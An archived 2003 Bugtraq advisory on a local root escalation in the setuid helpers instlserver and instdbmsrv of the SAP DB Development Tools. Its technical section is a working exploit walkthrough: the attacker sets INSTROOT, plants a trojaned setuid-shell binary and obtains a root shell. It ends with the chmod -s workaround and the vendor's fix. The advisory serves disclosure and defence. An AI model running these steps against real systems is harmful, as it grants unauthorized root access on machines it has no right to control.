linux, säkerhet

99218 2003-04-22 20:32 /4 rader/ KF <dotslash@snosoft.com>
Importerad: 2003-04-22 20:32 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <4573>
Ärende: SRT2003-04-22-1336 - SAP DB Development Tools install flaw
------------------------------------------------------------
http://www.secnetops.biz/research
(99218) /KF <dotslash@snosoft.com>/-----------------
Bilaga (text/plain) i text 99219
99219 2003-04-22 20:32 /185 rader/ KF <dotslash@snosoft.com>
Bilagans filnamn: "SRT2003-04-22-1336.txt"
Importerad: 2003-04-22 20:32 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <4574>
Bilaga (text/plain) till text 99218
Ärende: Bilaga (SRT2003-04-22-1336.txt) till: SRT2003-04-22-1336 - SAP DB Development Tools install flaw
------------------------------------------------------------
Secure Network Operations, Inc. http://www.secnetops.com
Strategic Reconnaissance Team research@secnetops.com
Team Lead Contact kf@secnetops.com

Our Mission:
************************************************************************
Secure Network Operations offers expertise in Networking, Intrusion
Detection Systems (IDS), Software Security Validation, and
Corporate/Private Network Security. Our mission is to facilitate a
secure and reliable Internet and inter-enterprise communications
infrastructure through the products and services we offer.

Quick Summary:
************************************************************************
Advisory Number : SRT2003-04-22-1336
Product : SAP DB Development Tools
Version : Version 7.x
Vendor : sapdb.org
Class : local
Criticality : High (to SAP servers with local user access)
Operating System(s) : Linux (other unix based?)

High Level Explanation
************************************************************************
High Level Description : Helper programs provide users with root access
What to do : chmod -s /path/to/DevTool/bin/instdbmsrv and
chmod -s /path/to/DevTool/bin/instlserver

Technical Details
************************************************************************
Proof Of Concept Status : No PoC needed for this issue. Low Level
Description :

Two helper applications that come with the SAP Development Tools use
user supplied data to chmod and chown a certain file while still
running as root.

The old installation instructions which can be found in Googles cache
at
http://216.239.33.100/search?q=cache:jQ-xlRsQeYAC:www.sapdb.org/develop/dev_linux.htm
told the user to install the SAP Development Tools as follows:

You Are Here: SAP DB > 7.3 > Development > Development (Linux/UNIX)
...
Installing the SAP DB Development Environment in Linux/UNIX
...
Installing the Development Environment Package

1. Download the tgz package. (sapdb-devtools-linux-i386.tgz)
Check whether your browser changes the package extension from tgz to tar
during the download. If so, rename the package to tgz before installing it.
2. Extract the archive to its final destination.
The directory DevTool is created.
3. Run the Perl script DevTools/installtools.pl.
This creates a file DevTool/iprofile.tmp.
Note:
The script expects to find the Perl and Python executables in your $PATH.
4. Execute the following commands as user root.
chown root <...>/DevTool/bin/instdbmsrv
chmod 4775 <...>/DevTool/bin/instdbmsrv
chown root <...>/DevTool/bin/instlserver
chmod 4775 <...>/DevTool/bin/instlserver

Both the DBM server and the Replication Manager server must run
as user root. The files instdbmsrv and instlserver set the
appropriate permissions every time these programs are built.

The above text has since been replaced with an identical page with
step 4 omitted.

The reason step 4 was removed is expressed below.

If you followed the install instructions you would have done the
following. gentoo root # cd /usr gentoo usr # tar -zxvf
/root/sapdb-devtools-linux-i386-*.tgz gentoo usr # chown root
/usr/DevTool/bin/instdbmsrv gentoo usr # chmod 4775
/usr/DevTool/bin/instdbmsrv gentoo usr # chown root
/usr/DevTool/bin/instlserver gentoo usr # chmod 4775
/usr/DevTool/bin/instlserver

The install has obviously left suids laying around.
rootme@gentoo rootme $ find /usr/DevTool/ -perm -4000
/usr/DevTool/bin/instdbmsrv
/usr/DevTool/bin/instlserver
rootme@gentoo rootme $ ls -al /usr/DevTool/bin/instdbmsrv
-rwsrwxr-x 1 root 998 13089 Jan 30 08:31 /usr/DevTool/bin/instdbmsrv
rootme@gentoo rootme $ ls -al /usr/DevTool/bin/instlserver
-rwsrwxr-x 1 root 998 13274 Jan 30 08:31 /usr/DevTool/bin/instlserver

It appears that we need to set the INSTROOT env variable to use these
binaries. rootme@gentoo rootme $ /usr/DevTool/bin/instlserver
INSTROOT not set

Thats weird... I wonder what it is trying to chown.
rootme@gentoo rootme $ export INSTROOT=~
rootme@gentoo rootme $ /usr/DevTool/bin/instlserver
chown root failed

It appears to chown root $INSTROOT/pgm/lserver.
rootme@gentoo rootme $ ltrace /usr/DevTool/bin/instlserver
...
getenv("INSTROOT") = "/home/rootme"
strlen("/home/rootme") = 12
strlen("/pgm/lserver") = 12
...
strcat("/home/rootme", "/pgm/lserver") = "/home/rootme/pgm/lserver"
...
chown("/home/rootme/pgm/lserver", 0, 0) = -1
fprintf(0x4014e480, "chown root failed\n"chown root failed

Lets create the file that it wants to chown and check the results.
rootme@gentoo rootme $ mkdir pgm
rootme@gentoo rootme $ touch /home/rootme/pgm/lserver
rootme@gentoo rootme $ ls -al /home/rootme/pgm/lserver
-rw-r--r-- 1 rootme users 0 Apr 22 12:02 /home/rootme/pgm/lserver

As you can see the program becomes root owned as well as suid.
rootme@gentoo rootme $ /usr/DevTool/bin/instlserver
rootme@gentoo rootme $ ls -al /home/rootme/pgm/lserver
-rwsrwxrwx 1 root root 0 Apr 22 12:02 /home/rootme/pgm/lserver

If we ltrace the program as root we can see it is obvious what caused this.
gentoo root # export INSTROOT=/home/rootme
gentoo root # ltrace /usr/DevTool/bin/instlserver
...
chown("/home/rootme/pgm/lserver", 0, 0) = 0
chmod("/home/rootme/pgm/lserver", 04777) = 0

To take advantage of this flaq simply create a trojaned
$INSTROOT/lserver rootme@gentoo rootme $ echo
main\{setuid$0$\;setgid$0$\;system$\"/bin/sh\"$\;\} >
lserver.c rootme@gentoo rootme $ cc -o pgm/lserver lserver.c
rootme@gentoo rootme $ ls -al pgm/lserver
-rwxr-xr-x 1 rootme users 5344 Apr 22 12:51 pgm/lserver

Take root by abusing the above mentioned flaw.
rootme@gentoo rootme $ /usr/DevTool/bin/instlserver
rootme@gentoo rootme $ ls -al pgm/lserver
-rwsrwxrwx 1 root root 5344 Apr 22 12:51 pgm/lserver
rootme@gentoo rootme $ pgm/lserver
sh-2.05b# id
uid=0(root) gid=0(root) groups=100(users)

This can be modified to work with DevTool/bin/instdbmsrv as well
rootme@gentoo rootme $ echo
main\{setuid$0$\;setgid$0$\;system$\"/bin/sh\"$\;\} >
dbmsrv.c rootme@gentoo rootme $ cc -o pgm/dbmsrv dbmsrv.c
rootme@gentoo rootme $ ls -al pgm/dbmsrv
-rwxr-xr-x 1 rootme users 5343 Apr 22 12:54 pgm/dbmsrv
rootme@gentoo rootme $ /usr/DevTool/bin/instdbmsrv
rootme@gentoo rootme $ ls -al pgm/dbmsrv
-rwsrwxrwx 1 root root 5343 Apr 22 12:54 pgm/dbmsrv
rootme@gentoo rootme $ pgm/dbmsrv
sh-2.05b# id
uid=0(root) gid=0(root) groups=100(users)

Patch or Workaround : chmod -s /path/to/DevTool/bin/instdbmsrv and
chmod -s /path/to/DevTool/bin/instlserver

SAP made it clear that normal users should not have local access to
the SAP server when I pointed out a previous security issue. The
same logic applys here however this does not lessen the result of
this problem.

I would also like to state that SAP has gone out of the way to make
security contacts easier for SAP and non-SAP users. This effort was
primarily the work of Daniel Dittmar.

Vendor Status : Vendor has responded and applied a fix to the problem.
http://listserv.sap.com/pipermail/sapdb.sources/2003-April/000142.html

To make reporting similar problems easier, every page on
www.sapdb.org now has a link 'Contact Info', the corresponding page
http://www.sapdb.org/7.4/sap_db_contact.htm contains an entry labled
'Security'.

Bugtraq URL : to be assigned

------------------------------------------------------------------------
This advisory was released by Secure Network Operations,Inc. as a matter
of notification to help administrators protect their networks against
the described vulnerability. Exploit source code is no longer released
in our advisories. Contact research@secnetops.com for information on how
to obtain exploit information.
(99219) /KF <dotslash@snosoft.com>/-------(Ombruten)